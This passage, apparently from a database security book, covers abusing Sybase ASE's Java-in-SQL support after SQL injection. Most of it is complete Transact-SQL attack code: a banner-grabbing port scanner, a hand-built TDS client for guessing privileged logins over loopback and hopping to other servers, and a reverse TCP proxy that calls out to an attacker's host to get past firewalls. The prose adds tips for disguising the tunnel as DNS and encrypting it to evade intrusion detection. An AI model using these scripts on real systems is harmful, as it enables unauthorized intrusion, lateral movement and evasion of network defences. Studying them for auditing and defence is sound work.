We discussed Sybase Java support briefly in Chapter 13 but we should also address it here because it is one of the most security-sensitive features of Sybase. With recent versions of Sybase ASE, you can freely mix Transact-SQL and Java statements, calling Java class member functions as though they were user -defined SQL functions, declaring Java data types as though they were native to Transact-SQL, and even instantiating Java objects via parameterized constructors in a very natural way. This obviously has implications in terms of security because it significantly increases the functionality available to an attacker or a low-privileged Sybase user. There are a few things that you can't do, however, that are a little restrictive ”there is no support for output param-eters other than the single value returned by the Java function, and if an unhandled Java exception is raised, execution will stop at that point in a query batch. That said, these restrictions could be worked around fairly easily.
Chapter 13 briefly discussed a code snippet to portscan a remote host using Java classes from within Transact-SQL:
declare @s java.net.Socket select @s = new java.net.Socket( "192.168.1.1", 22 ) select @s>>"close"()
This is a neat little example because it demonstrates most of what you need to understand in order to write your own Java snippets in Transact-SQL: declaration of a Java type, instantiation via a parameterized constructor, and the fact that if a Java function name is the same as a Transact-SQL reserved word, you need to enclose it in quotes.
Several advantages exist from the attacker's perspective to invoking Java in this way. First, the code isn't stored in a persistent form in the database (although the query may be logged). This means that it's generally harder to follow what the attacker did. Second, there's no need for any development tools other than the target server. If the statements are being inserted via SQL injection, this can all be done ad-hoc using only a web browser. If error messages are available to the attacker, ASE will return useful hints on syntax if the attacker gets it wrong. Finally (and this is an advantage of Java in SQL in general), once the administrator configures it, Java support is available to all users regardless of privilege level. It is quite simply the easiest way to explore both the Sybase server itself (by means of loopback connections) and the network in general that is available to an attacker via SQL injection in a low-privileged account.
The first example is a more elaborate version of the port scanner we looked at previously. This one grabs a banner if a banner is present:
create procedure portscan( @host varchar(1000), @port integer ) as begin declare @s java.net.Socket declare @is java.io.InputStream declare @banner varchar(2000) select @s = new java.net.Socket( @host, @port ) select @is = @s>>getInputStream() select java.lang.Thread.currentThread()>>sleep( 1000 ) while( @is>>available() > 0 ) begin select @banner = @banner + char(@is>>"read"()) end select @s>>"close"() select @banner print 'end' end
A few points of note in this example: First, we are creating a stored procedure to wrap the process of scanning a single port; this is simply good practice. In general, low-privileged accounts cannot create procedures; however, the sample databases pubs2 and pubs3 permit guest-level users to create procedures if the sample databases have been installed. There is no real need to wrap the Java statements in a stored procedure; if the attacker doesn't have privileges to create a procedure, a simple batch of SQL statements would do just as well.
Another interesting point to note is that we are retrieving the banner 1 byte at a time. This is because of the lack of support for output parameters; the only way we can get output from a Java method is via its return value.
More complex network clients are possible, even (interestingly) a TDS client that enables you to issue arbitrary Sybase queries within the Database server's own network. Following are two examples of more complex (and dangerous) scripts ”first, a simple TDS client and second, a TCP proxy.
The following JSQL performs a native mode authentication to the Sybase server on the specified host and TCP port. It then issues the specified query and returns the result as a single text string.
This is useful in security terms for a number of reasons. The first is the ability to perform a loopback connection. When attacking database servers you frequently find yourself in a situation whereby you can issue arbitrary queries, but only with the privilege level of an unprivileged user. This is generally the case in SQL Injection, for example, if the database server has been locked down correctly. In this situation, it is useful to be able to elevate privileges by guessing a valid username and password on the local server that has higher privileges. In practice, we have frequently run across locked-down MS SQL Server Sybase and servers with weak sa passwords.
Another use for this script is to enable you to connect to other Sybase servers in the same network (presumably a DMZ). In our audits , we often find test servers in the same part of the network that are not as well protected as the first server we came into contact with. Bouncing around servers in this way can enable you to island-hop between different filtered areas of the network.
This script was created using the documentation for the FreeTDS project, www.freetds.org .
(Apologies for the VARBINARY strings and lack of comments.)
create procedure RemoteQuery( @host varchar(1000), @port integer, @user varchar(30), @password varchar(30), @query varchar(8000) ) as begin declare @s java.net.Socket declare @is java.io.InputStream declare @os java.io.OutputStream declare @banner varchar(2000) declare @p varbinary(2048) declare @i integer set @s = new java.net.Socket( @host, @port ) set @is = @s>>getInputStream() set @os = @s>>getOutputStream() set @p = 0x0200020000000000 set @p = @p + 'XXXXXXX' + 0x000000 set @p = @p + 0x0000000000000000000000000000000000000000 set @p = @p + 0x07 set @p = @p + @user + replicate(0x00, 30-len(@user)) set @p = @p + convert(varbinary(1), len(@user)) set @p = @p + @password + replicate(0x00, 30-len(@password)) set @p = @p + convert(varbinary(1), len(@password)) set @p = @p + 0x3131353200000000000000000000000000000000 set @p = @p + 0x00000000000000000000040301060a0901 set @p = @p + 0x01000000000000000000 + "SQL_Advantage" set @p = @p + 0x0000000000000000000000000000000000 set @p = @p + 0x0d + "XXXXXXX" + 0x000000 set @p = @p + 0x0000000000000000000000000000000000000000 set @p = @p + 0x0700 set @p = @p + convert(varbinary(1), len(@password)) set @p = @p + @password + replicate(0x00, 30-len(@password)) set @p = @p + replicate( 0x00, 223 ) set @p = @p + 0x0c05000000 + "CT-Library" set @p = @p + 0x0a05000000000d11 set @p = @p + 0x00 + "s_english" set @p = @p + 0x0000000000000000000000000000 set @os = @os>>"write"(@p) set @os = @os>>flush() set @p = 0x02010063000000000000000000000000 set @p = @p + 0x0000000000000000000000000069736f set @p = @p + 0x5f310000000000000000000000000000 set @p = @p + 0x00000000000000000000000500353132 set @p = @p + 0x0000000300000000e21800010a018608 set @p = @p + 0x336d7ffffffffe020a00000000000a68 set @p = @p + 0x000000 set @os = @os>>"write"(@p) set @os = @os>>flush() set @i = java.lang.Thread.currentThread()>>sleep( 1000 ) while( @is>>available() > 0 ) begin select @banner = @banner + char(@is>>"read"()) end if( substring(@banner, 9, 1) = 0xad ) and (substring(@banner, 12, 1) = 0x06) return -- login failed set @p = 0x0f01 set @p = @p + convert( varbinary(1), (len(@query)+14)/256 ) set @p = @p + convert( varbinary(1), (len(@query)+14)%256 ) set @p = @p + 0x0000000021 set @p = @p + convert( varbinary(1), (len(@query)+1)%256 ) set @p = @p + convert( varbinary(1), (len(@query)+1)/256 ) set @p = @p + 0x000000 set @p = @p + @query set @os = @os>>"write"(@p) set @os = @os>>flush() set @i = java.lang.Thread.currentThread()>>sleep( 1000 ) select @banner = 0x20 while( @is>>available() > 0 ) begin set @i = @is>>"read"() if( @i >= 0x20 ) and ( @i <= 0x7f ) select @banner = @banner + char(@i) end select @banner set @s = @s>>"close"() end
The following script allows Sybase to act as a TCP reverse proxy. By reverse proxy, we mean a program that establishes an outbound TCP connection to both its client and the server that it is proxying for the client.
This is a particularly effective way to bypass firewalls because most organizations will block all inbound connections but will quite happily allow outbound connections, especially on TCP ports 80, 443, and 53. Tricks like this are limited only by your imagination ; for instance, if the organization blocks all outbound TCP traffic from the Sybase server (which would be a sensible policy) you could alter this script to use the DatagramSocket class instead, and proxy a TCP connection over UDP port 53 ”with traffic that looks like DNS requests and responses. Another refinement of this script would be to use the built-in crypto classes in Java to implement some kind of basic encryption of the outbound TCP connection ”an IDS is likely to be watching traffic that passes over the boundary between the database server and the Internet, but even basic encryption may thwart it.
With this script (and another proxy on your attacking machine) you can use the proxied connection to interact with the network that the Sybase server is in. The main benefit of this is that you can use all of your rich network client tools (RPC scanners, SMB scanners , SSH clients, and so on) as though you were sitting in the target network. Another interesting point is that most firewalls don't block loopback connections; you are likely to find it easier to compromise the database host if you can proxy loopback connections to RPC or SSH daemons, for example.
create procedure proxy( @outhost varchar(1000), @outport integer, @inhost varchar(1000), @inport integer ) as begin declare @sout java.net.Socket declare @sin java.net.Socket declare @outis java.io.InputStream declare @outos java.io.OutputStream declare @inis java.io.InputStream declare @inos java.io.OutputStream declare @buffer varchar(2000) declare @no_out integer declare @no_in integer declare @i integer set @sout = new java.net.Socket( @outhost, @outport ) set @outis = @sout>>getInputStream() set @outos = @sout>>getOutputStream() set @sin = new java.net.Socket( @inhost, @inport ) set @inis = @sin>>getInputStream() set @inos = @sin>>getOutputStream() set @i = 0 while(@i < 60) begin if(@outis>>available() > 0) begin set @buffer = char(@outis>>"read"()) while( @outis>>available() > 0 ) begin set @buffer = @buffer + char(@outis>>"read"()) end set @inos = @inos>>"write"(convert(varbinary(2000), @buffer)) set @no_out = 0 set @i = 0 end else set @no_out = 1 if(@inis>>available() > 0) begin set @buffer = char(@inis>>"read"()) while( @inis>>available() > 0 ) begin set @buffer = @buffer + char(@inis>>"read"()) end set @outos = @outos>>"write"(convert(varbinary(2000), @buffer)) set @no_in = 0 set @i = 0 end else set @no_in = 1 if(( @no_in = 1 ) and ( @no_out = 1 )) begin set @no_in = java.lang.Thread.currentThread()>>sleep( 1000 ) set @i = @i + 1 end end set @sout = @sout>>"close"() set @sin = @sin>>"close"() end